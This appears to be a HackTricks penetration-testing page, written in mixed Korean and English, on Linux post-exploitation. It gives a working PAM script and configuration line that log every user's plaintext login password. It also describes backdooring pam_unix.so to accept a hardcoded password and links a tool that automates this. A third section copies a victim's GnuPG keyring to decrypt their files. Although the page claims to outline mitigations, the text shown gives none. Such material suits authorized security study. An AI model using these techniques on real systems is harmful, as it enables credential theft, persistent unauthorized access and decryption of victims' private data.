81 lines
5.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Linux Post-Exploitation
{{#include ../../banners/hacktricks-training.md}}
## Sniffing Logon Passwords with PAM
각 사용자가 로그인할 때 사용하는 비밀번호를 기록하도록 PAM 모듈을 구성해 보겠습니다. PAM이 무엇인지 모르면 확인하세요:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**자세한 내용은 [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)을 확인하세요.** 이것은 요약입니다:
**Technique Overview:**
Pluggable Authentication Modules (PAM)은 Unix 기반 시스템에서 인증 관리를 유연하게 해줍니다. 로그인 과정을 맞춤화하여 보안을 향상시킬 수 있지만, 오용될 경우 위험을 초래할 수도 있습니다. 이 요약은 PAM을 사용해 로그인 자격 증명을 수집하는 기법과 함께 완화 방안을 개요합니다.
**Capturing Credentials:**
- A bash script named `toomanysecrets.sh` is crafted to log login attempts, capturing the date, username (`$PAM_USER`), password (via stdin), and remote host IP (`$PAM_RHOST`) to `/var/log/toomanysecrets.log`.
- The script is made executable and integrated into the PAM configuration (`common-auth`) using the `pam_exec.so` module with options to run quietly and expose the authentication token to the script.
- The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. 이것은 요약입니다:
Pluggable Authentication Module (PAM)은 Linux에서 사용자 인증에 사용되는 시스템입니다. 이것은 세 가지 주요 개념으로 동작합니다: **username**, **password**, 그리고 **service**. 각 서비스의 구성 파일은 `/etc/pam.d/` 디렉터리에 위치하며, 여기서 공유 라이브러리가 인증을 처리합니다.
**목표**: 실제 사용자 비밀번호를 우회하여 특정 비밀번호로 인증을 허용하도록 PAM을 수정하는 것입니다. 특히 거의 모든 서비스에서 비밀번호 검증을 위해 포함되는 `common-auth` 파일에서 사용되는 `pam_unix.so` 공유 라이브러리에 초점을 맞춥니다.
### Steps for Modifying `pam_unix.so`:
1. **Locate the Authentication Directive** in the `common-auth` file:
- The line responsible for checking a user's password calls `pam_unix.so`.
2. **Modify Source Code**:
- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**:
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
> [!TIP]
> 이 과정을 자동화하려면 [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) 를 사용하세요
## Decrypting GPG loot via homedir relocation
암호화된 `.gpg` 파일과 사용자의 `~/.gnupg` 폴더(pubring, private-keys, trustdb)를 찾았지만 GnuPG homedir 권한/잠금 때문에 복호화할 수 없다면, 키링을 쓰기 가능한 위치로 복사한 다음 이를 GPG homedir로 사용하세요.
이 작업을 하지 않으면 보통 다음과 같은 오류가 발생합니다: "unsafe ownership on homedir", "failed to create temporary file", 또는 "decryption failed: No secret key" (이는 GPG가 원본 homedir를 읽거나 쓸 수 없기 때문입니다).
워크플로우:
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
비밀 키 자료가 `private-keys-v1.d`에 존재하면, GPG는 passphrase를 묻지 않고 잠금 해제 및 복호화를 수행합니다(키가 보호되어 있으면 묻습니다).
## References
- [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
{{#include ../../banners/hacktricks-training.md}}